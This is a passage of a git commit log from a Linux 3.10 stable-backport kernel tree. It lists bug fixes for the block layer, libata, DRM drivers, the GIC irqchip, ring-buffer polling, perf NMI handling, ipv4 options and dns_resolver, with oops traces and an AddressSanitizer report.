RIP: 0010:[] [] blk_throtl_drain+0x84/0x230 RSP: 0018:ffff88000efd7bf0 EFLAGS: 00010046 RAX: 0000000000000000 RBX: ffff880015091450 RCX: 0000000000000001 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffff88000efd7c10 R08: 0000000000000000 R09: 0000000000000001 R10: ffff88000e222250 R11: 0000000000000000 R12: ffff880015091450 R13: ffff880015092e00 R14: ffff880015091d70 R15: ffff88001508fc28 FS: 00007f1332650740(0000) GS:ffff88001fa80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 0000000000000028 CR3: 0000000009446000 CR4: 00000000000006e0 Stack: ffffffff8144e8f6 ffff880015091450 0000000000000000 ffff880015091d80 ffff88000efd7c28 ffffffff8144ae2f ffff880015091450 ffff88000efd7c58 ffffffff81427641 ffff880015091450 ffffffff82401f00 ffff880015091450 Call Trace: [] blkcg_drain_queue+0x1f/0x60 [] __blk_drain_queue+0x71/0x180 [] blk_queue_bypass_start+0x6e/0xb0 [] blkcg_deactivate_policy+0x38/0x120 [] blk_throtl_exit+0x34/0x50 [] blkcg_exit_queue+0x35/0x40 [] blk_release_queue+0x26/0xd0 [] kobject_cleanup+0x38/0x70 [] kobject_put+0x28/0x60 [] blk_put_queue+0x15/0x20 [] scsi_device_dev_release_usercontext+0x16b/0x1c0 [] execute_in_process_context+0x89/0xa0 [] scsi_device_dev_release+0x1c/0x20 [] device_release+0x32/0xa0 [] kobject_cleanup+0x38/0x70 [] kobject_put+0x28/0x60 [] put_device+0x17/0x20 [] __scsi_remove_device+0xa9/0xe0 [] scsi_remove_device+0x2b/0x40 [] sdev_store_delete+0x27/0x30 [] dev_attr_store+0x18/0x30 [] sysfs_kf_write+0x3e/0x50 [] kernfs_fop_write+0xe7/0x170 [] vfs_write+0xaf/0x1d0 [] SyS_write+0x4d/0xc0 [] system_call_fastpath+0x16/0x1b 776687bce42b ("block, blk-mq: draining can't be skipped even if bypass_depth was non-zero") made it easier to trigger this bug by making blk_queue_bypass_start() drain even when it loses the first bypass test to blk_cleanup_queue(); however, the bug has always been there even before the commit as blk_queue_bypass_start() could race against queue destruction, win the initial bypass test but perform the actual draining after blk_cleanup_queue() already destroyed all blkgs. Fix it by skippping calling into policy draining if all the blkgs are already gone. Signed-off-by: Tejun Heo Reported-by: Shirish Pargaonkar Reported-by: Sasha Levin Reported-by: Jet Chen Tested-by: Shirish Pargaonkar Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 85827ad2309c1d2b158bb920bb05a96c3a63a9b6 Author: Romain Degez Date: Fri Jul 11 18:08:13 2014 +0200 ahci: add support for the Promise FastTrak TX8660 SATA HBA (ahci mode) commit b32bfc06aefab61acc872dec3222624e6cd867ed upstream. Add support of the Promise FastTrak TX8660 SATA HBA in ahci mode by registering the board in the ahci_pci_tbl[]. Note: this HBA also provide a hardware RAID mode when activated in BIOS but specific drivers from the manufacturer are required in this case. Signed-off-by: Romain Degez Tested-by: Romain Degez Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 717de55f23cac6c4ba673717a4d7d3d765718287 Author: Tejun Heo Date: Wed Jul 23 09:05:27 2014 -0400 libata: introduce ata_host->n_tags to avoid oops on SAS controllers commit 1a112d10f03e83fb3a2fdc4c9165865dec8a3ca6 upstream. 1871ee134b73 ("libata: support the ata host which implements a queue depth less than 32") directly used ata_port->scsi_host->can_queue from ata_qc_new() to determine the number of tags supported by the host; unfortunately, SAS controllers doing SATA don't initialize ->scsi_host leading to the following oops. BUG: unable to handle kernel NULL pointer dereference at 0000000000000058 IP: [] ata_qc_new_init+0x188/0x1b0 PGD 0 Oops: 0002 [#1] SMP Modules linked in: isci libsas scsi_transport_sas mgag200 drm_kms_helper ttm CPU: 1 PID: 518 Comm: udevd Not tainted 3.16.0-rc6+ #62 Hardware name: Intel Corporation S2600CO/S2600CO, BIOS SE5C600.86B.02.02.0002.122320131210 12/23/2013 task: ffff880c1a00b280 ti: ffff88061a000000 task.ti: ffff88061a000000 RIP: 0010:[] [] ata_qc_new_init+0x188/0x1b0 RSP: 0018:ffff88061a003ae8 EFLAGS: 00010012 RAX: 0000000000000001 RBX: ffff88000241ca80 RCX: 00000000000000fa RDX: 0000000000000020 RSI: 0000000000000020 RDI: ffff8806194aa298 RBP: ffff88061a003ae8 R08: ffff8806194a8000 R09: 0000000000000000 R10: 0000000000000000 R11: ffff88000241ca80 R12: ffff88061ad58200 R13: ffff8806194aa298 R14: ffffffff814e67a0 R15: ffff8806194a8000 FS: 00007f3ad7fe3840(0000) GS:ffff880627620000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000058 CR3: 000000061a118000 CR4: 00000000001407e0 Stack: ffff88061a003b20 ffffffff814e96e1 ffff88000241ca80 ffff88061ad58200 ffff8800b6bf6000 ffff880c1c988000 ffff880619903850 ffff88061a003b68 ffffffffa0056ce1 ffff88061a003b48 0000000013d6e6f8 ffff88000241ca80 Call Trace: [] ata_sas_queuecmd+0xa1/0x430 [] sas_queuecommand+0x191/0x220 [libsas] [] scsi_dispatch_cmd+0x10e/0x300 [] scsi_request_fn+0x2f5/0x550 [] __blk_run_queue+0x33/0x40 [] queue_unplugged+0x2a/0x90 [] blk_flush_plug_list+0x1b4/0x210 [] blk_finish_plug+0x14/0x50 [] __do_page_cache_readahead+0x198/0x1f0 [] force_page_cache_readahead+0x31/0x50 [] page_cache_sync_readahead+0x3e/0x50 [] generic_file_read_iter+0x496/0x5a0 [] blkdev_read_iter+0x37/0x40 [] new_sync_read+0x7e/0xb0 [] vfs_read+0x94/0x170 [] SyS_read+0x46/0xb0 [] ? SyS_lseek+0x91/0xb0 [] system_call_fastpath+0x16/0x1b Code: 00 00 00 88 50 29 83 7f 08 01 19 d2 83 e2 f0 83 ea 50 88 50 34 c6 81 1d 02 00 00 40 c6 81 17 02 00 00 00 5d c3 66 0f 1f 44 00 00 <89> 14 25 58 00 00 00 Fix it by introducing ata_host->n_tags which is initialized to ATA_MAX_QUEUE - 1 in ata_host_init() for SAS controllers and set to scsi_host_template->can_queue in ata_host_register() for !SAS ones. As SAS hosts are never registered, this will give them the same ATA_MAX_QUEUE - 1 as before. Note that we can't use scsi_host->can_queue directly for SAS hosts anyway as they can go higher than the libata maximum. Signed-off-by: Tejun Heo Reported-by: Mike Qiu Reported-by: Jesse Brandeburg Reported-by: Peter Hurley Reported-by: Peter Zijlstra Tested-by: Alexey Kardashevskiy Fixes: 1871ee134b73 ("libata: support the ata host which implements a queue depth less than 32") Cc: Kevin Hao Cc: Dan Williams Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6d787adb6be1bed319431c505a0ef902f991a8cb Author: Kevin Hao Date: Sat Jul 12 12:08:24 2014 +0800 libata: support the ata host which implements a queue depth less than 32 commit 1871ee134b73fb4cadab75752a7152ed2813c751 upstream. The sata on fsl mpc8315e is broken after the commit 8a4aeec8d2d6 ("libata/ahci: accommodate tag ordered controllers"). The reason is that the ata controller on this SoC only implement a queue depth of 16. When issuing the commands in tag order, all the commands in tag 16 ~ 31 are mapped to tag 0 unconditionally and then causes the sata malfunction. It makes no senses to use a 32 queue in software while the hardware has less queue depth. So consider the queue depth implemented by the hardware when requesting a command tag. Fixes: 8a4aeec8d2d6 ("libata/ahci: accommodate tag ordered controllers") Signed-off-by: Kevin Hao Acked-by: Dan Williams Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ce5ad01ea468d42ecba3197a12357ce2c87f277b Author: Christoph Hellwig Date: Tue Jul 8 12:25:28 2014 +0200 block: don't assume last put of shared tags is for the host commit d45b3279a5a2252cafcd665bbf2db8c9b31ef783 upstream. There is no inherent reason why the last put of a tag structure must be the one for the Scsi_Host, as device model objects can be held for arbitrary periods. Merge blk_free_tags and __blk_free_tags into a single funtion that just release a references and get rid of the BUG() when the host reference wasn't the last. Signed-off-by: Christoph Hellwig Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d2441ab041fa9afa60d6e1e5c9a256babf0bb86e Author: Mikulas Patocka Date: Wed Jul 2 12:46:23 2014 -0400 block: provide compat ioctl for BLKZEROOUT commit 3b3a1814d1703027f9867d0f5cbbfaf6c7482474 upstream. This patch provides the compat BLKZEROOUT ioctl. The argument is a pointer to two uint64_t values, so there is no need to translate it. Signed-off-by: Mikulas Patocka Acked-by: Martin K. Petersen Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4c56eedf0e3be84c2993dc9850dc8dac46bf8b24 Author: Antti Palosaari Date: Fri Jul 4 05:44:39 2014 -0300 media: tda10071: force modulation to QPSK on DVB-S commit db4175ae2095634dbecd4c847da439f9c83e1b3b upstream. Only supported modulation for DVB-S is QPSK. Modulation parameter contains invalid value for DVB-S on some cases, which leads driver refusing tuning attempt. Due to that, hard code modulation to QPSK in case of DVB-S. Signed-off-by: Antti Palosaari Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5dc68c8abf30a03b2e26b33fb29655a06bc61d0a Author: Hans Verkuil Date: Mon Jun 16 09:08:29 2014 -0300 media: hdpvr: fix two audio bugs commit 3445857b22eafb70a6ac258979e955b116bfd2c6 upstream. When the audio encoding is changed the driver calls hdpvr_set_audio with the current opt->audio_input value. However, that should have been opt->audio_input + 1. So changing the audio encoding inadvertently changes the input as well. This bug has always been there. The second bug was introduced in kernel 3.10 and that broke the default_audio_input module option handling: the audio encoding was never switched to AC3 if default_audio_input was set to 2 (SPDIF input). In addition, since starting with 3.10 the audio encoding is always set at the start the first bug now always happens when the driver is loaded. In the past this bug would only surface if the user would change the audio encoding after the driver was loaded. Also fixes a small trivial typo (bufffer -> buffer). Signed-off-by: Hans Verkuil Reported-by: Scott Doty Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db453d6e0eb053c6c57508641377d409d2caeee8 Author: Greg Kroah-Hartman Date: Mon Jul 28 08:00:59 2014 -0700 Linux 3.10.50 Signed-off-by: Pranav Vashi commit ca802cfa88fed669358cfebe932594fe134c579b Author: Anton Kolesov Date: Fri Jun 20 20:28:39 2014 +0400 ARC: Implement ptrace(PTRACE_GET_THREAD_AREA) commit a4b6cb735b25aa84a462a1985e3e43bebaf5beb4 upstream. This patch adds implementation of GET_THREAD_AREA ptrace request type. This is required by GDB to debug NPTL applications. Signed-off-by: Anton Kolesov Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0287e579a45a67f1f3910ba296417cfedca12175 Author: Mateusz Guzik Date: Sat Jun 14 15:00:09 2014 +0200 sched: Fix possible divide by zero in avg_atom() calculation commit b0ab99e7736af88b8ac1b7ae50ea287fffa2badc upstream. proc_sched_show_task() does: if (nr_switches) do_div(avg_atom, nr_switches); nr_switches is unsigned long and do_div truncates it to 32 bits, which means it can test non-zero on e.g. x86-64 and be truncated to zero for division. Fix the problem by using div64_ul() instead. As a side effect calculations of avg_atom for big nr_switches are now correct. Signed-off-by: Mateusz Guzik Signed-off-by: Peter Zijlstra Cc: Linus Torvalds Link: http://lkml.kernel.org/r/1402750809-31991-1-git-send-email-mguzik@redhat.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 410fd1f28505570d5368ec3398f04a8b73811cdc Author: Peter Zijlstra Date: Fri Jun 6 19:53:16 2014 +0200 locking/mutex: Disable optimistic spinning on some architectures commit 4badad352a6bb202ec68afa7a574c0bb961e5ebc upstream. The optimistic spin code assumes regular stores and cmpxchg() play nice; this is found to not be true for at least: parisc, sparc32, tile32, metag-lock1, arc-!llsc and hexagon. There is further wreckage, but this in particular seemed easy to trigger, so blacklist this. Opt in for known good archs. Signed-off-by: Peter Zijlstra Reported-by: Mikulas Patocka Cc: David Miller Cc: Chris Metcalf Cc: James Bottomley Cc: Vineet Gupta Cc: Jason Low Cc: Waiman Long Cc: "James E.J. Bottomley" Cc: Paul McKenney Cc: John David Anglin Cc: James Hogan Cc: Linus Torvalds Cc: Davidlohr Bueso Cc: Benjamin Herrenschmidt Cc: Catalin Marinas Cc: Russell King Cc: Will Deacon Cc: linux-arm-kernel@lists.infradead.org Cc: linux-kernel@vger.kernel.org Cc: linuxppc-dev@lists.ozlabs.org Cc: sparclinux@vger.kernel.org Link: http://lkml.kernel.org/r/20140606175316.GV13930@laptop.programming.kicks-ass.net Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a2e8c5c5f2b6d8cd3e40d366bc5865519b3102b6 Author: Pranav Vashi Date: Fri Nov 18 00:58:43 2016 +0530 Revert "locking/mutex: Disable optimistic spinning on some architectures" This reverts commit 3c7eab79b2d1c1601b9da63bbce35387dc9bd4d3. Signed-off-by: Pranav Vashi commit f3e2e5edebdbaa04c53d108669524b62c13837f2 Author: Takashi Iwai Date: Tue Jul 15 08:51:27 2014 +0200 PM / sleep: Fix request_firmware() error at resume commit 4320f6b1d9db4ca912c5eb6ecb328b2e090e1586 upstream. The commit [247bc037: PM / Sleep: Mitigate race between the freezer and request_firmware()] introduced the finer state control, but it also leads to a new bug; for example, a bug report regarding the firmware loading of intel BT device at suspend/resume: https://bugzilla.novell.com/show_bug.cgi?id=873790 The root cause seems to be a small window between the process resume and the clear of usermodehelper lock. The request_firmware() function checks the UMH lock and gives up when it's in UMH_DISABLE state. This is for avoiding the invalid f/w loading during suspend/resume phase. The problem is, however, that usermodehelper_enable() is called at the end of thaw_processes(). Thus, a thawed process in between can kick off the f/w loader code path (in this case, via btusb_setup_intel()) even before the call of usermodehelper_enable(). Then usermodehelper_read_trylock() returns an error and request_firmware() spews WARN_ON() in the end. This oneliner patch fixes the issue just by setting to UMH_FREEZING state again before restarting tasks, so that the call of request_firmware() will be blocked until the end of this function instead of returning an error. Fixes: 247bc0374254 (PM / Sleep: Mitigate race between the freezer and request_firmware()) Link: https://bugzilla.novell.com/show_bug.cgi?id=873790 Signed-off-by: Takashi Iwai Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8b5f1df9211eaa08cda438cbffc127dcfe573134 Author: Mike Snitzer Date: Mon Jul 14 16:59:39 2014 -0400 dm cache metadata: do not allow the data block size to change commit 048e5a07f282c57815b3901d4a68a77fa131ce0a upstream. The block size for the dm-cache's data device must remained fixed for the life of the cache. Disallow any attempt to change the cache's data block size. Signed-off-by: Mike Snitzer Acked-by: Joe Thornber Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fcbea6558778b8438717edfb75176107843394a Author: Mike Snitzer Date: Mon Jul 14 16:35:54 2014 -0400 dm thin metadata: do not allow the data block size to change commit 9aec8629ec829fc9403788cd959e05dd87988bd1 upstream. The block size for the thin-pool's data device must remained fixed for the life of the thin-pool. Disallow any attempt to change the thin-pool's data block size. It should be noted that attempting to change the data block size via thin-pool table reload will be ignored as a side-effect of the thin-pool handover that the thin-pool target does during thin-pool table reload. Here is an example outcome of attempting to load a thin-pool table that reduced the thin-pool's data block size from 1024K to 512K. Before: kernel: device-mapper: thin: 253:4: growing the data device from 204800 to 409600 blocks After: kernel: device-mapper: thin metadata: changing the data block size (from 2048 to 1024) is not supported kernel: device-mapper: table: 253:4: thin-pool: Error creating metadata object kernel: device-mapper: ioctl: error adding target to table Signed-off-by: Mike Snitzer Acked-by: Joe Thornber Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6ee60867beb89fdb0eb90712bf3726a9d40616a4 Author: John Stultz Date: Mon Jul 7 14:06:11 2014 -0700 alarmtimer: Fix bug where relative alarm timers were treated as absolute commit 16927776ae757d0d132bdbfabbfe2c498342bd59 upstream. Sharvil noticed with the posix timer_settime interface, using the CLOCK_REALTIME_ALARM or CLOCK_BOOTTIME_ALARM clockid, if the users tried to specify a relative time timer, it would incorrectly be treated as absolute regardless of the state of the flags argument. This patch corrects this, properly checking the absolute/relative flag, as well as adds further error checking that no invalid flag bits are set. Reported-by: Sharvil Nanavati Signed-off-by: John Stultz Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Prarit Bhargava Cc: Sharvil Nanavati Link: http://lkml.kernel.org/r/1404767171-6902-1-git-send-email-john.stultz@linaro.org Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman [neo: Adapt for android.] Signed-off-by: Pranav Vashi commit e1001d643e88780199ceac0dbed03c7977b17da4 Author: Alex Deucher Date: Mon Jul 14 17:57:19 2014 -0400 drm/radeon: avoid leaking edid data commit 0ac66effe7fcdee55bda6d5d10d3372c95a41920 upstream. In some cases we fetch the edid in the detect() callback in order to determine what sort of monitor is connected. If that happens, don't fetch the edid again in the get_modes() callback or we will leak the edid. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 60c61b84db927c181b0fa050e90811f1a0e70823 Author: Jason Wang Date: Mon May 12 16:35:39 2014 +0800 drm/qxl: return IRQ_NONE if it was not our irq commit fbb60fe35ad579b511de8604b06a30b43846473b upstream. Return IRQ_NONE if it was not our irq. This is necessary for the case when qxl is sharing irq line with a device A in a crash kernel. If qxl is initialized before A and A's irq was raised during this gap, returning IRQ_HANDLED in this case will cause this irq to be raised again after EOI since kernel think it was handled but in fact it was not. Cc: Gerd Hoffmann Signed-off-by: Jason Wang Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f36e43a3e46b8e36d656dfb8e2c4efb0063dafd5 Author: Alex Deucher Date: Tue Jul 15 09:48:53 2014 -0400 drm/radeon: set default bl level to something reasonable commit 201bb62402e0227375c655446ea04fcd0acf7287 upstream. If the value in the scratch register is 0, set it to the max level. This fixes an issue where the console fb blanking code calls back into the backlight driver on unblank and then sets the backlight level to 0 after the driver has already set the mode and enabled the backlight. bugs: https://bugs.freedesktop.org/show_bug.cgi?id=81382 https://bugs.freedesktop.org/show_bug.cgi?id=70207 Signed-off-by: Alex Deucher Tested-by: David Heidelberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3872a000a8f7a126670595b942b08de6ea4ec67d Author: Tomasz Figa Date: Thu Jul 17 17:23:44 2014 +0200 irqchip: gic: Fix core ID calculation when topology is read from DT commit 29e697b11853d3f83b1864ae385abdad4aa2c361 upstream. Certain GIC implementation, namely those found on earlier, single cluster, Exynos SoCs, have registers mapped without per-CPU banking, which means that the driver needs to use different offset for each CPU. Currently the driver calculates the offset by multiplying value returned by cpu_logical_map() by CPU offset parsed from DT. This is correct when CPU topology is not specified in DT and aforementioned function returns core ID alone. However when DT contains CPU topology, the function changes to return cluster ID as well, which is non-zero on mentioned SoCs and so breaks the calculation in GIC driver. This patch fixes this by masking out cluster ID in CPU offset calculation so that only core ID is considered. Multi-cluster Exynos SoCs already have banked GIC implementations, so this simple fix should be enough. Reported-by: Lorenzo Pieralisi Reported-by: Bartlomiej Zolnierkiewicz Signed-off-by: Tomasz Figa Fixes: db0d4db22a78d ("ARM: gic: allow GIC to support non-banked setups") Link: https://lkml.kernel.org/r/1405610624-18722-1-git-send-email-t.figa@samsung.com Signed-off-by: Jason Cooper Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32ee774578acccd69c6342160839e542f4bc81e7 Author: Matthias Brugger Date: Thu Jul 3 13:58:52 2014 +0200 irqchip: gic: Add support for cortex a7 compatible string commit a97e8027b1d28eafe6bafe062556c1ec926a49c6 upstream. Patch 0a68214b "ARM: DT: Add binding for GIC virtualization extentions (VGIC)" added the "arm,cortex-a7-gic" compatible string, but the corresponding IRQCHIP_DECLARE was never added to the gic driver. To let real Cortex-A7 SoCs use it, add the necessary declaration to the device driver. Signed-off-by: Matthias Brugger Link: https://lkml.kernel.org/r/1404388732-28890-1-git-send-email-matthias.bgg@gmail.com Fixes: 0a68214b76ca ("ARM: DT: Add binding for GIC virtualization extentions (VGIC)") Signed-off-by: Jason Cooper Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f8c18a17fe784d3d7483c45f27d9e5209c03737a Author: Martin Lau Date: Mon Jun 9 23:06:42 2014 -0700 ring-buffer: Fix polling on trace_pipe commit 97b8ee845393701edc06e27ccec2876ff9596019 upstream. ring_buffer_poll_wait() should always put the poll_table to its wait_queue even there is immediate data available. Otherwise, the following epoll and read sequence will eventually hang forever: 1. Put some data to make the trace_pipe ring_buffer read ready first 2. epoll_ctl(efd, EPOLL_CTL_ADD, trace_pipe_fd, ee) 3. epoll_wait() 4. read(trace_pipe_fd) till EAGAIN 5. Add some more data to the trace_pipe ring_buffer 6. epoll_wait() -> this epoll_wait() will block forever ~ During the epoll_ctl(efd, EPOLL_CTL_ADD,...) call in step 2, ring_buffer_poll_wait() returns immediately without adding poll_table, which has poll_table->_qproc pointing to ep_poll_callback(), to its wait_queue. ~ During the epoll_wait() call in step 3 and step 6, ring_buffer_poll_wait() cannot add ep_poll_callback() to its wait_queue because the poll_table->_qproc is NULL and it is how epoll works. ~ When there is new data available in step 6, ring_buffer does not know it has to call ep_poll_callback() because it is not in its wait queue. Hence, block forever. Other poll implementation seems to call poll_wait() unconditionally as the very first thing to do. For example, tcp_poll() in tcp.c. Link: http://lkml.kernel.org/p/20140610060637.GA14045@devbig242.prn2.facebook.com Fixes: 2a2cc8f7c4d0 "ftrace: allow the event pipe to be polled" Reviewed-by: Chris Mason Signed-off-by: Martin Lau Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aaab3896407c38e1ad2840640a3c7c0bbc83abbd Author: Amitkumar Karwar Date: Fri Jun 20 11:45:25 2014 -0700 mwifiex: fix Tx timeout issue commit d76744a93246eccdca1106037e8ee29debf48277 upstream. https://bugzilla.kernel.org/show_bug.cgi?id=70191 https://bugzilla.kernel.org/show_bug.cgi?id=77581 It is observed that sometimes Tx packet is downloaded without adding driver's txpd header. This results in firmware parsing garbage data as packet length. Sometimes firmware is unable to read the packet if length comes out as invalid. This stops further traffic and timeout occurs. The root cause is uninitialized fields in tx_info(skb->cb) of packet used to get garbage values. In this case if MWIFIEX_BUF_FLAG_REQUEUED_PKT flag is mistakenly set, txpd header was skipped. This patch makes sure that tx_info is correctly initialized to fix the problem. Reported-by: Andrew Wiley Reported-by: Linus Gasser Reported-by: Michael Hirsch Tested-by: Xinming Hu Signed-off-by: Amitkumar Karwar Signed-off-by: Maithili Hinge Signed-off-by: Avinash Patil Signed-off-by: Bing Zhao Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d65dacc1085e428b54d392e25837c6b0d0214eaf Author: HATAYAMA Daisuke Date: Wed Jun 25 10:09:07 2014 +0900 perf/x86/intel: ignore CondChgd bit to avoid false NMI handling commit b292d7a10487aee6e74b1c18b8d95b92f40d4a4f upstream. Currently, any NMI is falsely handled by a NMI handler of NMI watchdog if CondChgd bit in MSR_CORE_PERF_GLOBAL_STATUS MSR is set. For example, we use external NMI to make system panic to get crash dump, but in this case, the external NMI is falsely handled do to the issue. This commit deals with the issue simply by ignoring CondChgd bit. Here is explanation in detail. On x86 NMI watchdog uses performance monitoring feature to periodically signal NMI each time performance counter gets overflowed. intel_pmu_handle_irq() is called as a NMI_LOCAL handler from a NMI handler of NMI watchdog, perf_event_nmi_handler(). It identifies an owner of a given NMI by looking at overflow status bits in MSR_CORE_PERF_GLOBAL_STATUS MSR. If some of the bits are set, then it handles the given NMI as its own NMI. The problem is that the intel_pmu_handle_irq() doesn't distinguish CondChgd bit from other bits. Unlike the other status bits, CondChgd bit doesn't represent overflow status for performance counters. Thus, CondChgd bit cannot be thought of as a mark indicating a given NMI is NMI watchdog's. As a result, if CondChgd bit is set, any NMI is falsely handled by the NMI handler of NMI watchdog. Also, if type of the falsely handled NMI is either NMI_UNKNOWN, NMI_SERR or NMI_IO_CHECK, the corresponding action is never performed until CondChgd bit is cleared. I noticed this behavior on systems with Ivy Bridge processors: Intel Xeon CPU E5-2630 v2 and Intel Xeon CPU E7-8890 v2. On both systems, CondChgd bit in MSR_CORE_PERF_GLOBAL_STATUS MSR has already been set in the beginning at boot. Then the CondChgd bit is immediately cleared by next wrmsr to MSR_CORE_PERF_GLOBAL_CTRL MSR and appears to remain 0. On the other hand, on older processors such as Nehalem, Xeon E7540, CondChgd bit is not set in the beginning at boot. I'm not sure about exact behavior of CondChgd bit, in particular when this bit is set. Although I read Intel System Programmer's Manual to figure out that, the descriptions I found are: In 18.9.1: "The MSR_PERF_GLOBAL_STATUS MSR also provides a ¡sticky bit¢ to indicate changes to the state of performancmonitoring hardware" In Table 35-2 IA-32 Architectural MSRs 63 CondChg: status bits of this register has changed. These are different from the bahviour I see on the actual system as I explained above. At least, I think ignoring CondChgd bit should be enough for NMI watchdog perspective. Signed-off-by: HATAYAMA Daisuke Acked-by: Don Zickus Signed-off-by: Peter Zijlstra Cc: Arnaldo Carvalho de Melo Cc: Linus Torvalds Cc: linux-kernel@vger.kernel.org Link: http://lkml.kernel.org/r/20140625.103503.409316067.d.hatayama@jp.fujitsu.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e698cacb7ec782def42e4f099a807ad6a2ec785 Author: Eric Dumazet Date: Mon Jul 21 07:17:42 2014 +0200 ipv4: fix buffer overflow in ip_options_compile() [ Upstream commit 10ec9472f05b45c94db3c854d22581a20b97db41 ] There is a benign buffer overflow in ip_options_compile spotted by AddressSanitizer[1] : Its benign because we always can access one extra byte in skb->head (because header is followed by struct skb_shared_info), and in this case this byte is not even used. [28504.910798] ================================================================== [28504.912046] AddressSanitizer: heap-buffer-overflow in ip_options_compile [28504.913170] Read of size 1 by thread T15843: [28504.914026] [] ip_options_compile+0x121/0x9c0 [28504.915394] [] ip_options_get_from_user+0xad/0x120 [28504.916843] [] do_ip_setsockopt.isra.15+0x8df/0x1630 [28504.918175] [] ip_setsockopt+0x30/0xa0 [28504.919490] [] tcp_setsockopt+0x5b/0x90 [28504.920835] [] sock_common_setsockopt+0x5f/0x70 [28504.922208] [] SyS_setsockopt+0xa2/0x140 [28504.923459] [] system_call_fastpath+0x16/0x1b [28504.924722] [28504.925106] Allocated by thread T15843: [28504.925815] [] ip_options_get_from_user+0x35/0x120 [28504.926884] [] do_ip_setsockopt.isra.15+0x8df/0x1630 [28504.927975] [] ip_setsockopt+0x30/0xa0 [28504.929175] [] tcp_setsockopt+0x5b/0x90 [28504.930400] [] sock_common_setsockopt+0x5f/0x70 [28504.931677] [] SyS_setsockopt+0xa2/0x140 [28504.932851] [] system_call_fastpath+0x16/0x1b [28504.934018] [28504.934377] The buggy address ffff880026382828 is located 0 bytes to the right [28504.934377] of 40-byte region [ffff880026382800, ffff880026382828) [28504.937144] [28504.937474] Memory state around the buggy address: [28504.938430] ffff880026382300: ........ rrrrrrrr rrrrrrrr rrrrrrrr [28504.939884] ffff880026382400: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28504.941294] ffff880026382500: .....rrr rrrrrrrr rrrrrrrr rrrrrrrr [28504.942504] ffff880026382600: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28504.943483] ffff880026382700: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28504.944511] >ffff880026382800: .....rrr rrrrrrrr rrrrrrrr rrrrrrrr [28504.945573] ^ [28504.946277] ffff880026382900: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28505.094949] ffff880026382a00: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28505.096114] ffff880026382b00: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28505.097116] ffff880026382c00: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28505.098472] ffff880026382d00: ffffffff rrrrrrrr rrrrrrrr rrrrrrrr [28505.099804] Legend: [28505.100269] f - 8 freed bytes [28505.100884] r - 8 redzone bytes [28505.101649] . - 8 allocated bytes [28505.102406] x=1..7 - x allocated bytes + (8-x) redzone bytes [28505.103637] ================================================================== [1] https://code.google.com/p/address-sanitizer/wiki/AddressSanitizerForKernel Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 69d0d6d0d228876a8d4a23667bdd40011067e708 Author: Ben Hutchings Date: Mon Jul 21 00:06:48 2014 +0100 dns_resolver: Null-terminate the right string [ Upstream commit 640d7efe4c08f06c4ae5d31b79bd8740e7f6790a ] *_result[len] is parsed as *(_result[len]) which is not at all what we want to touch here. Signed-off-by: Ben Hutchings Fixes: 84a7c0b1db1c ("dns_resolver: assure that dns_query() result is null-terminated") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d8f4de231792fdfabeec718bd512068394f3f42f Author: Manuel Schölling Date: Sat Jun 7 23:57:25 2014 +0200 dns_resolver: assure that dns_query() result is null-terminated [ Upstream commit 84a7c0b1db1c17d5ded8d3800228a608e1070b40 ] dns_query() credulously assumes that keys are null-terminated and returns a copy of a memory block that is off by one. Signed-off-by: Manuel Schölling Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7f39d9cdb2dfc59e25f6625751c383d28fc64c1 Author: Sowmini Varadhan Date: Wed Jul 16 10:02:26 2014 -0400 